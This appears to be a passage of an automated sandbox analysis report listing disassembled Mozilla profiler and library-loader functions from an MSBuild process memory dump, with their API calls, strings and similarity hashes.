strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6CBD582D), ref: 6CC0CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6CBD582D), ref: 6CC0CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC3FE98,?,?,?,?,?,6CBD582D), ref: 6CC0CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6CBD582D), ref: 6CC0CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6CBD582D), ref: 6CC0CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6CBD582D), ref: 6CC0CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6CBD582D), ref: 6CC0CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6CC0CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6CC0CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6CC0CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6CC0CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6CC0CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6CC0CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6CC0CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6CC0CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6CC0CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6CC0CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6CC0CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6CC0CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6CC0CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6CC0CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6CC0CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6CC0CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6CC0CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6CC0CE8A

Strings

power, xrefs: 6CC0CE84
mainthreadio, xrefs: 6CC0CC7C
audiocallbacktracing, xrefs: 6CC0CDD4
noiostacks, xrefs: 6CC0CCBE
preferencereads, xrefs: 6CC0CD92
jsallocations, xrefs: 6CC0CD0E
fileio, xrefs: 6CC0CC92
notimerresolutionchange, xrefs: 6CC0CE00
markersallthreads, xrefs: 6CC0CE42
leaf, xrefs: 6CC0CC66
nostacksampling, xrefs: 6CC0CD7C
seqstyle, xrefs: 6CC0CCE6
screenshots, xrefs: 6CC0CCD4
default, xrefs: 6CC0CC21
stackwalk, xrefs: 6CC0CCF8
processcpu, xrefs: 6CC0CE6E
Unrecognized feature "%s"., xrefs: 6CC0CEA0
samplingallthreads, xrefs: 6CC0CE2C
unregisteredthreads, xrefs: 6CC0CE58
ipcmessages, xrefs: 6CC0CDBE
nativeallocations, xrefs: 6CC0CDA8
cpuallthreads, xrefs: 6CC0CE16
fileioall, xrefs: 6CC0CCA8
java, xrefs: 6CC0CC37

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 4699caa7cfaabc3da7f679ece4472a7192f6dab0daae9f22350f992ae312d03a
Instruction ID: db8bb138fdbba712f7c8cdeeccb6ed2e49eba36a0ce5d6c6f58fdbd850cf53ca
Opcode Fuzzy Hash: 4699caa7cfaabc3da7f679ece4472a7192f6dab0daae9f22350f992ae312d03a
Instruction Fuzzy Hash: 0851A6D2B4533552FA0031167D10BEE1449FF6324AF10957AEE2EA5E80FB07A61AC6B7

Function 6CBD47C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CBD4801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CBD4817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CBD482D
__Init_thread_footer.LIBCMT ref: 6CBD484A

Part of subcall function 6CBFAB3F: EnterCriticalSection.KERNEL32(6CC4E370,?,?,6CBC3527,6CC4F6CC,?,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB49
Part of subcall function 6CBFAB3F: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC3527,6CC4F6CC,?,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFAB7C

GetCurrentThreadId.KERNEL32 ref: 6CBD485F
GetCurrentThreadId.KERNEL32 ref: 6CBD487E
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CBD488B
free.MOZGLUE(?), ref: 6CBD493A
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBD4956
free.MOZGLUE(00000000), ref: 6CBD4960
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CBD499A

Part of subcall function 6CBFAB89: EnterCriticalSection.KERNEL32(6CC4E370,?,?,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284), ref: 6CBFAB94
Part of subcall function 6CBFAB89: LeaveCriticalSection.KERNEL32(6CC4E370,?,6CBC34DE,6CC4F6CC,?,?,?,?,?,?,?,6CBC3284,?,?,6CBE56F6), ref: 6CBFABD1

free.MOZGLUE(?), ref: 6CBD49C6
free.MOZGLUE(?), ref: 6CBD49E9

Part of subcall function 6CBE5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CBE5EDB
Part of subcall function 6CBE5E90: memset.VCRUNTIME140(6CC27765,000000E5,55CCCCCC), ref: 6CBE5F27
Part of subcall function 6CBE5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CBE5FB2

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6CBD4828
[I %d/%d] profiler_shutdown, xrefs: 6CBD4A06
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6CBD4812
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6CBD47FC
MOZ_PROFILER_SHUTDOWN, xrefs: 6CBD4A42

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: CriticalSection$free$EnterLeavegetenv$CurrentExclusiveLockThread$AcquireInit_thread_footerReleasememset
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_SHUTDOWN$[I %d/%d] profiler_shutdown
API String ID: 1340022502-4194431170
Opcode ID: 1c86faf4c40cb7a93bdd2d4b0eb879eb0a676cc315313743f4e9f8573970b4f5
Instruction ID: 197f5da0ef6971fbd0e8736cb0de3bc7a656d67e621c76486902249343990b9e
Opcode Fuzzy Hash: 1c86faf4c40cb7a93bdd2d4b0eb879eb0a676cc315313743f4e9f8573970b4f5
Instruction Fuzzy Hash: EE81F070A001808FDB10AF68C88475E3775EF4232DF168669E91697F41EB31F859CF9A

Function 6CBD19A0 Relevance: 44.2, APIs: 24, Strings: 1, Instructions: 407COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6CC4F760), ref: 6CBD19BD
GetCurrentProcess.KERNEL32 ref: 6CBD19E5
GetLastError.KERNEL32 ref: 6CBD1A27
moz_xmalloc.MOZGLUE(?), ref: 6CBD1A41
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBD1A4F
GetLastError.KERNEL32 ref: 6CBD1A92
moz_xmalloc.MOZGLUE(?), ref: 6CBD1AAC
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CBD1ABA
LocalFree.KERNEL32(?), ref: 6CBD1C69
free.MOZGLUE(?), ref: 6CBD1C8F
free.MOZGLUE(?), ref: 6CBD1C9D
CloseHandle.KERNEL32(?), ref: 6CBD1CAE
ReleaseSRWLockExclusive.KERNEL32(6CC4F760), ref: 6CBD1D52
GetLastError.KERNEL32 ref: 6CBD1DA5
GetLastError.KERNEL32 ref: 6CBD1DFB
GetLastError.KERNEL32 ref: 6CBD1E49
GetLastError.KERNEL32 ref: 6CBD1E68
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CBD1E9B

Part of subcall function 6CBD2070: LoadLibraryW.KERNEL32(combase.dll,6CBD1C5F), ref: 6CBD20AE
Part of subcall function 6CBD2070: GetProcAddress.KERNEL32(00000000,CoInitializeSecurity), ref: 6CBD20CD
Part of subcall function 6CBD2070: __Init_thread_footer.LIBCMT ref: 6CBD20E1

memset.VCRUNTIME140(?,00000000,00000110), ref: 6CBD1F15
VerSetConditionMask.NTDLL ref: 6CBD1F46
VerSetConditionMask.NTDLL ref: 6CBD1F52
VerSetConditionMask.NTDLL ref: 6CBD1F59
VerSetConditionMask.NTDLL ref: 6CBD1F60
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CBD1F6D

Strings

D, xrefs: 6CBD1B57

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ErrorLast$ConditionMask$freememset$ExclusiveLockmoz_xmalloc$AcquireAddressCloseCurrentFreeHandleInfoInit_thread_footerLibraryLoadLocalProcProcessReleaseVerifyVersion
String ID: D
API String ID: 290179723-2746444292
Opcode ID: 9c5e012417020af4b58f0530267dfce8469b764c9acda12ff3059ded10f7e949
Instruction ID: 610fbf77ab58350146ba9c4bdd6f0a56063c59320566fc92594f518b195784e1
Opcode Fuzzy Hash: 9c5e012417020af4b58f0530267dfce8469b764c9acda12ff3059ded10f7e949
Instruction Fuzzy Hash: 45F1B371E017659FEB209F60CC48B9AB7B4FF49718F168198E909A7640E774ED80CF91

Function 6CBD4470 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBD4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6CBD44B2,6CC4E21C,6CC4F7F8), ref: 6CBD473E
Part of subcall function 6CBD4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6CBD474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6CBD44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6CBD44D2
InitOnceExecuteOnce.KERNEL32(6CC4F80C,6CBCF240,?,?), ref: 6CBD451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6CBD455C
LoadLibraryW.KERNEL32(?), ref: 6CBD4592
InitializeCriticalSection.KERNEL32(6CC4F770), ref: 6CBD45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6CBD45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6CBD45BB
InitOnceExecuteOnce.KERNEL32(6CC4F818,6CBCF240,?,?), ref: 6CBD4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CBD4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6CBD4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CBD466D
VerSetConditionMask.NTDLL ref: 6CBD469F
VerSetConditionMask.NTDLL ref: 6CBD46AB
VerSetConditionMask.NTDLL ref: 6CBD46B2
VerSetConditionMask.NTDLL ref: 6CBD46B9
VerSetConditionMask.NTDLL ref: 6CBD46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CBD46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6CBD46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6CBD46FD

Strings

user32.dll, xrefs: 6CBD4557, 6CBD463F
WRusr.dll, xrefs: 6CBD44B5
kernel32.dll, xrefs: 6CBD44CD
NativeNtBlockSet_Write, xrefs: 6CBD46F7
l, xrefs: 6CBD4578

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-3894940629
Opcode ID: e0141a0f3e06197945718cc4a11af588a23cfc9fffd1b05f7b228d85f553da90
Instruction ID: 848a8feb9d7878d72f8ff07fbdaa3838b59ebba95aa495f3bd028b310ed448f1
Opcode Fuzzy Hash: e0141a0f3e06197945718cc4a11af588a23cfc9fffd1b05f7b228d85f553da90
Instruction Fuzzy Hash: C761F6B0A04384AFEB10EF60CC49B99BBB8EF4730CF15C598E5089B641E775A945CF51

Function 6CC0E8B0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 297threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC07090: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,00000000,?,6CC0B9F1,?), ref: 6CC07107

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CC0DCF5), ref: 6CC0E92D
GetCurrentThreadId.KERNEL32 ref: 6CC0EA4F
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EA5C
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EA80
GetCurrentThreadId.KERNEL32 ref: 6CC0EA8A
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,?,?,6CC0DCF5), ref: 6CC0EA92
GetCurrentThreadId.KERNEL32 ref: 6CC0EB11
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EB1E
memset.VCRUNTIME140(?,00000000,000000E0), ref: 6CC0EB3C
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0EB5B

Part of subcall function 6CC05710: ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CC0EB71), ref: 6CC057AB

Part of subcall function 6CBFCBE8: GetCurrentProcess.KERNEL32(?,6CBC31A7), ref: 6CBFCBF1
Part of subcall function 6CBFCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CBC31A7), ref: 6CBFCBFA

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0EBA4
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000), ref: 6CC0EBAC

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

GetCurrentThreadId.KERNEL32 ref: 6CC0EBC1
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8,?,?,00000000), ref: 6CC0EBCE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000,?,?,00000000), ref: 6CC0EBE5
ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8,00000000), ref: 6CC0EC37
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6CC0EC46
CloseHandle.KERNEL32(?), ref: 6CC0EC55
free.MOZGLUE(00000000), ref: 6CC0EC5C

Strings

[I %d/%d] profiler_start, xrefs: 6CC0EBB4
[I %d/%d] baseprofiler_save_profile_to_file(%s), xrefs: 6CC0EA9B

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ExclusiveLock$Current$ReleaseThread$Acquiregetenv$Process_getpid$?profiler_init@baseprofiler@mozilla@@CloseHandleInit_thread_footerObjectSingleTerminateWait__acrt_iob_func__stdio_common_vfprintffreemallocmemset
String ID: [I %d/%d] baseprofiler_save_profile_to_file(%s)$[I %d/%d] profiler_start
API String ID: 1341148965-1186885292
Opcode ID: efa113fb89962f33a93786ed20a598c8bf0258f27fb297b47c3dfc004d3eefe2
Instruction ID: 9eebfcb1a5fb1c03b3f00f595224b3847c453daebc54c5f593b64c5fe5cbb079
Opcode Fuzzy Hash: efa113fb89962f33a93786ed20a598c8bf0258f27fb297b47c3dfc004d3eefe2
Instruction Fuzzy Hash: 00A123317006048FDB10AF69D854BAA7BB5FF8631CF14C12DE96987F41EB729849CBA1

Function 6CC0F6E0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 235threadstringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6CBD4A68), ref: 6CC0945E
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CC09470
Part of subcall function 6CC09420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CC09482
Part of subcall function 6CC09420: __Init_thread_footer.LIBCMT ref: 6CC0949F

GetCurrentThreadId.KERNEL32 ref: 6CC0F70E
??$AddMarker@UTextMarker@markers@baseprofiler@mozilla@@V?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@baseprofiler@mozilla@@YA?AVProfileBufferBlockIndex@1@ABV?$ProfilerStringView@D@1@ABVMarkerCategory@1@$$QAVMarkerOptions@1@UTextMarker@markers@01@ABV?$basic_string@DU?$char_traits@D@std@@V?$allocator@D@2@@std@@@Z.MOZGLUE ref: 6CC0F8F9

Part of subcall function 6CBD6390: GetCurrentThreadId.KERNEL32 ref: 6CBD63D0
Part of subcall function 6CBD6390: AcquireSRWLockExclusive.KERNEL32 ref: 6CBD63DF
Part of subcall function 6CBD6390: ReleaseSRWLockExclusive.KERNEL32 ref: 6CBD640E

ReleaseSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F93A
GetCurrentThreadId.KERNEL32 ref: 6CC0F98A
GetCurrentThreadId.KERNEL32 ref: 6CC0F990
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F994
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CC0F716

Part of subcall function 6CC094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6CC094EE
Part of subcall function 6CC094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6CC09508

Part of subcall function 6CBCB5A0: memcpy.VCRUNTIME140(?,?,?,?,00000000), ref: 6CBCB5E0

GetCurrentThreadId.KERNEL32 ref: 6CC0F739
AcquireSRWLockExclusive.KERNEL32(6CC4F4B8), ref: 6CC0F746
GetCurrentThreadId.KERNEL32 ref: 6CC0F793
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,6CC4385B,00000002,?,?,?,?,?), ref: 6CC0F829
free.MOZGLUE(?,?,00000000,?), ref: 6CC0F84C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?," attempted to re-register as ",0000001F,?,00000000,?), ref: 6CC0F866
free.MOZGLUE(?), ref: 6CC0FA0C

Part of subcall function 6CBD5E60: moz_xmalloc.MOZGLUE(00000040,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CBD55E1), ref: 6CBD5E8C
Part of subcall function 6CBD5E60: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD5E9D
Part of subcall function 6CBD5E60: GetCurrentThreadId.KERNEL32 ref: 6CBD5EAB
Part of subcall function 6CBD5E60: GetCurrentThreadId.KERNEL32 ref: 6CBD5EB8
Part of subcall function 6CBD5E60: strlen.API-MS-WIN-CRT-STRING-L1-1-0(GeckoMain,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CBD5ECF
Part of subcall function 6CBD5E60: moz_xmalloc.MOZGLUE(00000024), ref: 6CBD5F27
Part of subcall function 6CBD5E60: moz_xmalloc.MOZGLUE(00000004), ref: 6CBD5F47
Part of subcall function 6CBD5E60: GetCurrentProcess.KERNEL32 ref: 6CBD5F53
Part of subcall function 6CBD5E60: GetCurrentThread.KERNEL32 ref: 6CBD5F5C
Part of subcall function 6CBD5E60: GetCurrentProcess.KERNEL32 ref: 6CBD5F66
Part of subcall function 6CBD5E60: DuplicateHandle.KERNEL32(00000000,?,?,?,0000004A,00000000,00000000), ref: 6CBD5F7E

free.MOZGLUE(?), ref: 6CC0F9C5
free.MOZGLUE(?), ref: 6CC0F9DA

Strings

[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s, xrefs: 6CC0F9A6
Thread , xrefs: 6CC0F789
" attempted to re-register as ", xrefs: 6CC0F858
[D %d/%d] profiler_register_thread(%s), xrefs: 6CC0F71F

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: Current$Thread$ExclusiveLockfree$getenvmoz_xmallocstrlen$AcquireD@std@@MarkerProcessReleaseTextU?$char_traits@V?$allocator@V?$basic_string@_getpid$BlockBufferCategory@1@$$D@1@D@2@@std@@@D@2@@std@@@baseprofiler@mozilla@@DuplicateHandleIndex@1@Init_thread_footerMarker@Marker@markers@01@Marker@markers@baseprofiler@mozilla@@Now@Options@1@ProfileProfilerStamp@mozilla@@StringTimeV12@_View@__acrt_iob_func__stdio_common_vfprintfmemcpy
String ID: " attempted to re-register as "$Thread $[D %d/%d] profiler_register_thread(%s)$[I %d/%d] profiler_register_thread(%s) - thread %llu already registered as %s
API String ID: 882766088-1834255612
Opcode ID: 9036b7bdab8d54474de9db1055a09b55f2835164278d8ebdd06f35f36482f354
Instruction ID: dc637fd3ef4b896e0f7374ca8a9be9f12ce18dd71541c1ec3795c8ae1ef41481
Opcode Fuzzy Hash: 9036b7bdab8d54474de9db1055a09b55f2835164278d8ebdd06f35f36482f354
Instruction Fuzzy Hash: 518101717046409FDB00EF24C840BAEB7B5EFC5308F44856DE8499BB51FB31A889CBA2

Function 6CBD4180 Relevance: 33.4, APIs: 17, Strings: 2, Instructions: 180libraryloaderCOMMON

Download Yara Rule

APIs

?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6CBD4196
memset.VCRUNTIME140(?,00000000,00000110,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CBD41F1
VerSetConditionMask.NTDLL ref: 6CBD4223
VerSetConditionMask.NTDLL ref: 6CBD422A
VerSetConditionMask.NTDLL ref: 6CBD4231
VerSetConditionMask.NTDLL ref: 6CBD4238
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6CBD4245
LoadLibraryW.KERNEL32(Shcore.dll,?,?,00000010,00000003,?,00000020,00000003,?,00000004,00000003,?,00000001,00000003), ref: 6CBD4263
GetProcAddress.KERNEL32(00000000,SetProcessDpiAwareness), ref: 6CBD427A
FreeLibrary.KERNEL32(?), ref: 6CBD4299
memset.VCRUNTIME140(?,00000000,00000114), ref: 6CBD42C4
VerSetConditionMask.NTDLL ref: 6CBD42F6
VerSetConditionMask.NTDLL ref: 6CBD4302
VerSetConditionMask.NTDLL ref: 6CBD4309
VerSetConditionMask.NTDLL ref: 6CBD4310
VerSetConditionMask.NTDLL ref: 6CBD4317
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6CBD4324

Strings

Shcore.dll, xrefs: 6CBD425E
SetProcessDpiAwareness, xrefs: 6CBD4274

Memory Dump Source

Source File: 00000004.00000002.2203758003.000000006CBC1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CBC0000, based on PE: true

Associated: 00000004.00000002.2203741452.000000006CBC0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203884915.000000006CC3D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203918458.000000006CC4E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000004.00000002.2203943408.000000006CC52000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_6cbc0000_MSBuild.jbxd

Similarity

API ID: ConditionMask$InfoLibraryVerifyVersionmemset$AddressDown@mozilla@@FreeLoadLockedProcWin32k
String ID: SetProcessDpiAwareness$Shcore.dll
API String ID: 3038791930-999387375
Opcode ID: 2f1770e422884ede9668d4c9a439ad465273be8eec7f9b56672f426c299a68e0
